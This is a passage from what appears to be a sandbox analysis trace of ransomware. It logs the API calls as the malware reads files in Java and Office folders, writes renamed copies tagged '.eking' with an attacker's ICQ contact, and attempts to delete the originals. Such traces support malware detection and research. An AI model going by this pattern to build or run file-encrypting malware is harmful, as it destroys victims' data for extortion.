out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x1c0eb, lpOverlapped=0x0) returned 1 [0248.633] WriteFile (in: hFile=0x340, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x1c0f0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x1c0f0, lpOverlapped=0x0) returned 1 [0248.638] WriteFile (in: hFile=0x340, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xe2, lpOverlapped=0x0) returned 1 [0248.639] CloseHandle (hObject=0x348) returned 1 [0248.639] CloseHandle (hObject=0x340) returned 1 [0248.640] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts")) returned 0 [0248.640] SetEvent (hEvent=0x2b8) returned 1 [0248.640] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0248.641] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=3527) returned 1 [0248.641] CloseHandle (hObject=0x340) returned 1 [0248.642] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar")) returned 0x20 [0248.642] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar")) returned 0x20 [0248.642] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0248.642] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0248.643] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0248.643] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0248.643] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x348 [0248.644] ReadFile (in: hFile=0x340, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0xdc7, lpOverlapped=0x0) returned 1 [0248.646] WriteFile (in: hFile=0x348, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xdd0, lpOverlapped=0x0) returned 1 [0248.648] WriteFile (in: hFile=0x348, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x102, lpOverlapped=0x0) returned 1 [0248.648] CloseHandle (hObject=0x340) returned 1 [0248.649] CloseHandle (hObject=0x348) returned 1 [0248.649] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar")) returned 0 [0248.650] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\trusted.libraries"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0248.651] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=0) returned 1 [0248.652] CloseHandle (hObject=0x348) returned 1 [0248.652] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0248.653] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=3026) returned 1 [0248.653] CloseHandle (hObject=0x348) returned 1 [0248.653] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar")) returned 0x20 [0248.653] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar")) returned 0x20 [0248.653] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0248.654] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0248.654] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0248.655] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0248.655] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x340 [0248.656] ReadFile (in: hFile=0x348, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0xbd2, lpOverlapped=0x0) returned 1 [0248.843] WriteFile (in: hFile=0x340, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xbe0, lpOverlapped=0x0) returned 1 [0248.844] WriteFile (in: hFile=0x340, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x102, lpOverlapped=0x0) returned 1 [0248.844] CloseHandle (hObject=0x348) returned 1 [0248.845] CloseHandle (hObject=0x340) returned 1 [0248.845] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar")) returned 0 [0248.845] SetEvent (hEvent=0x2b8) returned 1 [0248.846] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0248.847] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=40) returned 1 [0248.847] CloseHandle (hObject=0x340) returned 1 [0248.847] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license")) returned 0x20 [0248.847] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license")) returned 0x20 [0248.847] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0248.848] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0248.848] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0248.848] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0248.848] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x398 [0248.860] ReadFile (in: hFile=0x340, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x28, lpOverlapped=0x0) returned 1 [0248.862] WriteFile (in: hFile=0x398, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x30, lpOverlapped=0x0) returned 1 [0248.863] WriteFile (in: hFile=0x398, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xe2, lpOverlapped=0x0) returned 1 [0248.863] CloseHandle (hObject=0x340) returned 1 [0248.863] CloseHandle (hObject=0x398) returned 1 [0248.864] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license")) returned 0 [0248.864] SetEvent (hEvent=0x2b8) returned 1 [0248.865] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0249.022] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=528) returned 1 [0249.023] CloseHandle (hObject=0x340) returned 1 [0249.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release")) returned 0x20 [0249.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release")) returned 0x20 [0249.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\release.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0249.024] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0249.024] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0249.024] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0249.024] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\release.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x38c [0249.026] ReadFile (in: hFile=0x340, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x210, lpOverlapped=0x0) returned 1 [0249.027] WriteFile (in: hFile=0x38c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x220, lpOverlapped=0x0) returned 1 [0249.029] WriteFile (in: hFile=0x38c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xe2, lpOverlapped=0x0) returned 1 [0249.029] CloseHandle (hObject=0x340) returned 1 [0249.029] CloseHandle (hObject=0x38c) returned 1 [0249.030] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release")) returned 0 [0249.030] SetEvent (hEvent=0x2b8) returned 1 [0249.031] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0249.032] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=63933) returned 1 [0249.032] CloseHandle (hObject=0x38c) returned 1 [0249.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt")) returned 0x20 [0249.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt")) returned 0x20 [0249.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0249.033] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0249.033] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0249.033] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0249.033] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x340 [0249.034] ReadFile (in: hFile=0x38c, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0xf9bd, lpOverlapped=0x0) returned 1 [0249.040] WriteFile (in: hFile=0x340, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf9c0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf9c0, lpOverlapped=0x0) returned 1 [0249.043] WriteFile (in: hFile=0x340, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x122, lpOverlapped=0x0) returned 1 [0249.043] CloseHandle (hObject=0x38c) returned 1 [0249.044] CloseHandle (hObject=0x340) returned 1 [0249.044] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt")) returned 0 [0249.045] SetEvent (hEvent=0x2b8) returned 1 [0249.045] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0249.046] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=145180) returned 1 [0249.046] CloseHandle (hObject=0x340) returned 1 [0249.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt")) returned 0x20 [0249.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt")) returned 0x20 [0249.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0249.047] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0249.047] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0249.047] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0249.047] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x374 [0249.387] ReadFile (in: hFile=0x340, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x2371c, lpOverlapped=0x0) returned 1 [0249.397] WriteFile (in: hFile=0x374, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x23720, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x23720, lpOverlapped=0x0) returned 1 [0249.402] WriteFile (in: hFile=0x374, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x112, lpOverlapped=0x0) returned 1 [0249.402] CloseHandle (hObject=0x340) returned 1 [0249.402] CloseHandle (hObject=0x374) returned 1 [0249.403] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt")) returned 0 [0249.404] SetEvent (hEvent=0x2b8) returned 1 [0249.404] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\totalcmd.exe" (normalized: "c:\\program files\\java\\totalcmd.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0249.406] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=80384) returned 1 [0249.406] CloseHandle (hObject=0x374) returned 1 [0249.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\totalcmd.exe" (normalized: "c:\\program files\\java\\totalcmd.exe")) returned 0x20 [0249.407] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\totalcmd.exe" (normalized: "c:\\program files\\java\\totalcmd.exe")) returned 0x20 [0249.407] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\totalcmd.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\totalcmd.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0249.407] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\totalcmd.exe" (normalized: "c:\\program files\\java\\totalcmd.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.408] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0249.409] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=5944055) returned 1 [0249.409] CloseHandle (hObject=0x374) returned 1 [0249.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml")) returned 0x20 [0249.409] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0 [0249.409] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml")) returned 0 [0249.410] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0249.410] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=281) returned 1 [0249.410] CloseHandle (hObject=0x374) returned 1 [0249.411] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml")) returned 0x220 [0249.411] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml")) returned 0x220 [0249.411] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0249.411] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program 